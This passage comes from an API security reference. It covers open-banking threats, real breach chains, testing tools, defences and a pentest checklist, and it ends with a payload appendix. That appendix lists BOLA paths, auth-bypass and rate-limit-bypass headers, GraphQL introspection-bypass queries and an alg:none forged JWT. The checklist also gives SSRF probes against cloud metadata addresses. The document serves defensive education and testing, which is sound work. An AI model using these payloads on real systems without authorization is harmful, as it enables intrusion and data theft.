- Monitor query patterns for abnormal complexity or access attempts
22. Open Banking & E-Commerce API Security#
Open banking#
Open banking APIs carry account balances, transaction histories, personal identifiers, and payment credentials through standardized endpoints (/accounts/{accountId}/transactions). The predictable surface makes BOLA trivially exploitable.
Stats: 92% of financial services organizations experienced API security problems in production (Salt Security). 27% of all API-focused DDoS attacks targeted financial firms in H1-2025 (Imperva). BOLA accounts for ~40% of all API attacks in financial services.
Real-world: Evolve Bank & Trust hit by LockBit ransomware (2024), exposing 7.6M records, cascading across fintech partners (Wise, Affirm, Mercury, Stripe). Salt Labs discovered critical SSRF in a major US fintech platform serving hundreds of banks — could have enabled admin ATO and unauthorized fund transfers.
Compliance requirements affecting APIs#
| Standard | API-Specific Requirement |
|---|---|
| PSD2 / PSD3 (EU) | Strong customer authentication (2 of 3 factors), dynamic linking, eIDAS-qualified certs for TPPs. PSD3 (summer 2026) mandates permission dashboards, eliminates screen-scraping fallbacks |
| FAPI 2.0 (OpenID Foundation, Feb 2025) | Pushed Authorization Requests (PAR), PKCE for all clients, sender-constrained tokens (mTLS or DPoP) |
| GDPR | Explicit consent for data sharing, data minimization, 72-hour breach notification. Spanish bank fined 6.2M EUR (2024) for inadequate API security under Article 32 |
| PCI DSS 4.0.1 (active since April 2025) | First PCI standard to explicitly mention APIs. Req 6.4.2: automated solution deployed in front of public-facing APIs. Req 6.3.2: complete inventory of all custom software including APIs and third-party components. Non-compliance: $5K-$100K/month |
E-commerce API threats#
| Endpoint | Attack | Defense |
|---|---|---|
Payment API (/checkout, /payment) | Card data theft, transaction fraud, Stripe API hijacking for skimming | Tokenization, PCI DSS compliance, signed payment intents |
Cart API (/cart, /discount) | Price manipulation, coupon brute-force, inventory hoarding | Server-side price validation, idempotency keys, step tokens |
Login API (/auth, /login) | Credential stuffing, session hijacking, JWT manipulation | MFA, rate limiting per-account, short-lived tokens |
23. Real-World CVEs & Breach Chains#
| Year | Target | Bug | Impact |
|---|---|---|---|
| 2018 | USPS Informed Visibility | BOLA on user_id | 60M accounts exposed |
| 2018 | Token theft via View-As | 50M accounts | |
| 2019 | Capital One | SSRF → IMDS → S3 | 100M+ records |
| 2020 | Shopify Exchange | SSRF → root container | RCE |
| 2021 | Peloton | BOLA on profile endpoint | All user data |
| 2021 | John Deere | BOLA + BFLA | Entire farm equipment fleet |
| 2021 | Experian | Broken auth on /lookupToken | Full credit file lookup |
| 2022 | Optus | Unauth API endpoint | 10M customer records |
| 2023 | T-Mobile | BOLA / misconfig | 37M records |
| 2023 | EDE on find_by_email | 200M emails scraped | |
| 2024 | FleetSecure | Log4Shell via X-Api-Version | RCE |
| 2024 | Grafana (CVE-2024-1313) | BOLA on snapshot deletion — low-priv user deletes any org’s snapshots | Data loss, integrity compromise |
| 2024 | HAProxy (CVE-2024-53008) | CL/TE request smuggling bypassed ACLs | Unauthenticated backend access |
| 2024 | HAProxy (CVE-2023-40225) | Empty Content-Length smuggling | Request desync |
| 2024 | Kong Gateway (CVE-2024-33452) | HEAD body split into pipelined requests | WAF bypass, response queue poisoning |
| 2024 | Evolve Bank & Trust | LockBit ransomware via API | 7.6M records, cascade to Wise/Affirm/Mercury/Stripe |
| 2025 | Azure AD (CloudSEK) | Hardcoded API endpoint in JS bundle leaked Graph tokens | 50K users exposed |
| 2025 | API auth bypass scraping | 1.2B accounts claimed (data on dark web) | |
| 2025 | Sapphos dating | BOLA | App shut down, 17K users affected |
| 2025 | US fintech (Salt Labs) | SSRF in banking platform | Potential admin ATO + unauthorized fund transfers across hundreds of banks |
Chain patterns#
BOLA → PII disclosure → phishing → ATO
Mass assignment → privilege escalation → admin API → full tenant takeover
SSRF → cloud metadata → IAM credentials → S3 exfil → ransomware
Introspection leak → hidden mutation → BFLA → admin takeover
Broken auth on reset → email hijack → OAuth account linking → SSO ATO
Shadow API /v1 → no rate limit → brute force → ATO
GraphQL alias batching → login brute → ATO
Request smuggling → gateway auth bypass → unauthenticated backend access → data exfil
JS bundle API key leak → Graph token → Azure AD enumeration → 50K user PII
Gateway authorizer cache wildcard → JWT reuse → cross-resource access for cache TTL
MCP tool poisoning → agent calls unauthorized API → data exfiltration
LLM prompt flooding → metered API cost explosion → financial DoS
24. Tools & Automation#
Proxies & interception#
| Tool | Strength |
|---|---|
| Burp Suite Pro | Repeater, Intruder, Scanner, ecosystem of BApps |
| Caido | Modern alternative, workflow automation |
| OWASP ZAP | Free, scriptable, CI-friendly |
| mitmproxy | Scriptable Python addons, mobile traffic |
Key Burp BApps for API testing#
- Autorize — automatic BFLA/BOLA detection via two-session diff
- AuthMatrix — manual matrix auth testing
- InQL — GraphQL scanner
- JWT Editor — sign/unsign/tamper tokens
- Param Miner — hidden parameter discovery
- JS Link Finder — extract endpoints from JS
- OpenAPI Parser — import Swagger into Burp
- Content Type Converter — JSON ↔ XML flipping
- Logger++ — advanced request logging
Standalone / CLI#
| Tool | Use |
|---|---|
| Postman / Newman | Collection-driven testing, scripting |
| ffuf | Endpoint / parameter fuzzing |
| kiterunner | API-aware content discovery (kr scan) |
| arjun | Hidden parameter discovery |
| jwt_tool | JWT attack automation |
| sqlmap | SQLi in JSON bodies (--data + * markers) |
| GraphQL Cop | Misconfig scanner |
| Clairvoyance | GraphQL schema recovery |
| InQL CLI | GraphQL scanning headless |
| grpcurl | gRPC reflection and calls |
| Nuclei | Template-driven vuln scanning (API templates) |
| Akto | OSS API discovery + testing |
| APIsec.ai / Salt / Noname | Enterprise API security platforms |
| RESTler | Microsoft’s stateful REST fuzzer |
| Schemathesis | Property-based testing from OpenAPI |
| fuzzapi | API fuzzer |
| Bright (formerly NeuraLegion) | Dev-first DAST with API coverage |
| Autoswagger (Intruder) | Multi-phase Swagger/OpenAPI discovery, PII detection (Presidio), secret regex scanning |
Swagger Jacker (sj, Bishop Fox) | OpenAPI audit — enumerate routes, test auth, generate curl commands |
| APIDetector | Exposed Swagger endpoint scanner with XSS detection (BlackHat Arsenal 2024) |
| CATS (Endava) | REST API fuzzer + negative testing from OpenAPI specs; auto-generates thousands of tests |
| openapi-fuzzer | Black-box fuzzer from OpenAPI specs |
| Swagger-EZ (RhinoSecurityLabs) | Pentesting APIs using Swagger definitions |
| 42Crunch | OpenAPI audit (300+ checks, 0-100 score) + micro API firewall at runtime |
| Gopher Security | MCP gateway with quantum-safe zero-trust, tool-call inspection, prompt injection detection |
REST fuzzing research#
Academic work (Microsoft RESTler, follow-ups) adds access policy violation checks and injection attack detection on top of stateful REST fuzzing. Key insight: sequences of API calls expose bugs single-request fuzzers miss, because state changes unlock hidden code paths.
OpenAPI specification security auditing#
Exposed OpenAPI/Swagger definition files are a significant recon vector. Tools like Swagger Jacker (Bishop Fox) and Autoswagger (Intruder) automate:
- Discovery of spec files via direct URL, Swagger UI scraping, and brute-force of common paths
- Enumeration of all routes, methods, and parameters from the spec
- Unauthenticated endpoint testing with auto-generated requests
- PII detection (via Presidio) and secret scanning (TruffleHog-style regex) in responses
- Auth requirement verification — identify endpoints returning 200 without credentials
APIDetector (BlackHat Arsenal 2024) adds Swagger version-specific XSS detection and multi-domain scanning.
25. Detection & Prevention#
Design-time controls#
- Schema-first development — OpenAPI/GraphQL schema is source of truth; code generated or validated against it
- DTO projection — never bind request body directly to DB model
- Explicit field allowlists on every write path
- Centralized authz middleware — never hand-roll per endpoint
- Attribute-based access control (ABAC) — resource + subject + action + context
- Deny-by-default egress — allowlist outbound hosts
- Rate limits on every endpoint, not just global
Gateway / runtime controls#
| Control | Purpose |
|---|---|
| OAuth 2.0 + short-lived JWT (≤15 min) | Limit token blast radius |
| mTLS for service-to-service | Prevent impersonation |
| Per-endpoint quotas (req/min, bytes, CPU) | API4 defense |
| Request size limits | Memory DoS |
| JSON depth limits | Parser DoS |
| Query complexity analysis (GraphQL) | Depth/cost DoS |
| IMDSv2 + hop limit 1 | SSRF defense |
| Private range denylist in HTTP client | SSRF defense |
CORS allowlist (never * with credentials) | Misconfig |
| Strong CSP, HSTS, X-Content-Type-Options | Misconfig |
Detection / monitoring#
- Unusual enumeration patterns — many 404s or sequential IDs from one token → BOLA probing
- Response size anomaly — token suddenly returning 10× data → BOPLA abuse
- Auth failure spike → credential stuffing
- New endpoints not in spec → shadow API
- 5xx spike → fuzzing in progress
- Unusual method usage → method override probing
- High-cost query → GraphQL depth abuse
- Token reused across IPs → stolen credential
CI/CD gates#
| Test | Gate |
|---|---|
| Swap object ID cross-tenant → expect 403 | API1 |
| Expired/invalid token → expect 401 | API2 |
Mass assign hidden field isAdmin:true | API3 |
| k6 load test p95 < threshold | API4 |
| Non-admin calls admin fn → 403 | API5 |
| Rapid checkout replay → 429 | API6 |
| Private-IP webhook URL → 400 | API7 |
| Debug endpoints → 404 in prod | API8 |
| Unknown routes in traffic vs spec → alert | API9 |
| Third-party schema drift → fail | API10 |
SAST/DAST signal sources#
- SAST: flag
User.update(params[:user]),new User(req.body), missing@JsonIgnore, any?redirect=sink - DAST: schema replay, authz diff between roles, fuzz hidden params, method cycling
- IAST: catch ownership-check omissions at runtime
- API discovery: correlate actual traffic against OpenAPI spec
26. Testing Checklist#
Recon#
- Fetch
/openapi.json,/swagger.json,/v3/api-docs,/api-docs - Fingerprint GraphQL at common paths with
{__typename} - Extract endpoints from JS bundles (LinkFinder)
- Walk JS for hardcoded URLs, tokens, API keys
-
waybackurls+gaufor historical endpoints - Check
/actuator/*,/_debug,/debug/pprof - Enumerate API versions:
/api/v1..v5,/api/internal,/api/beta - Mobile app: decompile, grep for endpoints
- Check for Swagger UI / GraphQL Playground in prod
Authentication (API2)#
- Try no auth on every endpoint
- Try expired token
- Try another user’s token
- Try modified JWT (
alg:none, algorithm confusion) - Crack weak HMAC secrets
- Test
kidheader tampering - Password reset token leakage / predictability
- MFA bypass via direct endpoint
- OAuth
redirect_urimanipulation - OAuth
state/noncemissing
BOLA (API1)#
- Swap every object ID in path, query, body, header
- Try cross-tenant IDs
- Try sequential enumeration
- Try deleted object IDs
- Try null/array/object type confusion
- Test nested references
- Check old API versions for missing checks
BOPLA (API3)#
- Diff API response against UI display for hidden fields
- Enumerate fields via
GETthen try inPATCH/PUT - Try
is_admin,role,verified,balance,tenant_id - Try boolean/string type confusion on privilege fields
- Check nested object mass assignment
Resource consumption (API4)#
- Send oversized payload (>100MB)
- Deeply nested JSON (1000 levels)
- Unbounded pagination (
?limit=999999) - Absent rate limiting per endpoint
- GraphQL alias batching
- Unbounded file upload
BFLA (API5)#
- Call admin endpoints as low-priv user
- Method swap (GET→DELETE, GET→PUT)
- Try
X-User-Role: admintrusted header - Register with
role: adminin body
Business flow (API6)#
- Replay checkout / redeem endpoints
- Brute-force discount codes
- Coupon stacking
- Referral abuse
SSRF (API7)#
- Every webhook/URL field → try
http://169.254.169.254/... - Private ranges, localhost, IPv6, DNS rebinding
- OIDC
jwks_uri, SAMLmetadata_url - PDF/HTML rendering endpoints
Misconfig (API8)#
- CORS: origin reflection,
nullorigin, credentials + wildcard - Verbose errors / stack traces
- Missing security headers
- Default credentials
- Debug endpoints exposed
Inventory (API9)#
- Shadow endpoints not in docs
- Deprecated v1 still live
- Staging domains with prod data
Unsafe consumption (API10)#
- Does backend validate third-party responses?
- Can I poison a response (e.g. DNS) to inject?
GraphQL-specific#
- Introspection enabled?
- Bypass with newline/method swap
- Suggestions enabled (Clairvoyance)?
- Alias batching for rate bypass?
- Query batching?
- Depth limits enforced?
- Cost analysis?
- CSRF via GET / form-encoded POST?
- IDOR via direct arguments?
API Gateway (new)#
- Admin API reachable from internet? (Kong 8001/8443, etc.)
- Authorizer cache key includes resource path, not just JWT?
- Send conflicting CL/TE headers — timing-based smuggling detection
- HTTP/2 downgrade to HTTP/1.1 — test H2.CL smuggling
- Secrets stored encrypted or in vault (not plaintext in DB)?
- Lua sandbox enabled on serverless plugins?
API Key Leaks (new)#
- Scan JS bundles for hardcoded API keys / tokens
- Check
.env,config.json,.aws/credentialsin repos - Validate found keys with keyhacks / nuclei token-spray
- Mobile app decompile for embedded secrets
AI / MCP (new)#
- Default MCP endpoints disabled in production?
- AI agent API calls rate-limited and budget-capped?
- Agent tool calls inspected for prompt injection?
- LLM API responses validated against output schema?
Injection#
- SQLi in JSON fields (sqlmap with
*markers) - NoSQL operator injection (
{$ne: null}) - Command injection in filename/path fields
- SSTI in template fields
- XXE via content-type flip
- Log4Shell in User-Agent, Referer, X-Forwarded-For, custom headers
- CRLF injection in header reflection
Appendix A: Quick Payload Reference#
BOLA test payloads#
/api/users/1 /api/users/2 /api/users/0 /api/users/-1
/api/users/null /api/users/%00 /api/users/[]
/api/users/1/../2 /api/users/1%2f..%2f2
Mass assignment field dictionary#
is_admin isAdmin admin role roles permissions scopes
verified email_verified is_active is_staff is_superuser
balance credit points tokens
tenant_id organization_id account_id owner_id
created_by updated_by deleted deleted_at
password_hash api_key secret token refresh_token
Rate limit bypass headers#
X-Forwarded-For, X-Real-IP, X-Client-IP, X-Originating-IP,
X-Remote-IP, X-Remote-Addr, X-Host, X-Forwarded-Host,
CF-Connecting-IP, True-Client-IP, Forwarded, Via
Auth bypass headers#
X-Original-URL, X-Rewrite-URL, X-Override-URL
X-HTTP-Method-Override, X-HTTP-Method, X-Method-Override
X-User-Id, X-User, X-Roles, X-Role, X-Is-Admin
X-Authenticated-User, X-Auth-User, X-Forwarded-User
GraphQL universal probe#
{"query": "{__typename}"}
GraphQL introspection bypass#
{"query": "query{__schema\n{queryType{name}}}"}
JWT alg:none#
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiJ9.
Appendix B: Framework Quick Notes#
| Framework | Mass assign safe | Common pitfall |
|---|---|---|
| Rails | strong_parameters | permit! or missing permit |
| Django REST | ModelSerializer.Meta.fields = [...] | fields = '__all__' |
| Spring | DTO + @JsonIgnore | @ModelAttribute on entity |
| Express + Mongoose | Schema select: false | new Model(req.body) |
| Laravel | $fillable | empty $fillable, uses $guarded = [] |
| .NET Core | View model binding | [FromBody] Entity directly |
| FastAPI | Pydantic models | Extra fields allowed by default |
| Go | Explicit struct tags | json.Unmarshal to DB struct |
Appendix C: Further Reading#
- OWASP API Security Top 10 2023 — https://owasp.org/API-Security/
- OWASP Web Top 10 2025 — https://owasp.org/Top10/2025/
- OWASP Top 10 for Agentic Applications (2026) — https://genai.owasp.org/
- PortSwigger Web Security Academy: API testing, GraphQL
- Wallarm API ThreatStats (quarterly) — Q2 2025: AI API CVEs, BOLA dominance, GraphQL blind spots
- APIsec University (free labs)
- HackerOne Hacktivity: filter by API weakness
- VAmPI, crAPI, DVGA — intentionally vulnerable API labs
- Books: “Hacking APIs” (Corey Ball), “Black Hat GraphQL”
- PayloadsAllTheThings: API Key Leaks — https://github.com/swisskyrepo/PayloadsAllTheThings
- Trend Micro: Kong API Gateway Misconfigurations case study
- Unit 42: Grafana BOLA (CVE-2024-1313) analysis
- APIsec: HTTP Request Smuggling in API Gateways
- FAPI 2.0 Security Profile — https://openid.net/specs/fapi-security-profile-2_0.html
- PCI DSS 4.0.1 API requirements (Req 6.3.2, 6.4.2)
Defensive security reference. Compiled for practitioner use in red-team / blue-team / developer education contexts.